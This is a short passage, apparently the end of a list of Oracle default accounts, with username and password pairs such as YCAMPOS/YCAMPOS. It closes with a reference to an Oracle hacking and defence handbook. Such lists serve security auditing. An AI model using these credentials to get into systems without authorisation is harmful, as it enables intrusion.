YCAMPOS | YCAMPOS |
YSANCHEZ | YSANCHEZ |
ZFA | ZFA |
ZPB | ZPB |
ZSA | ZSA |
参考资料
- The Oracle Hacker’s Handbook: Hacking and Defending Oracle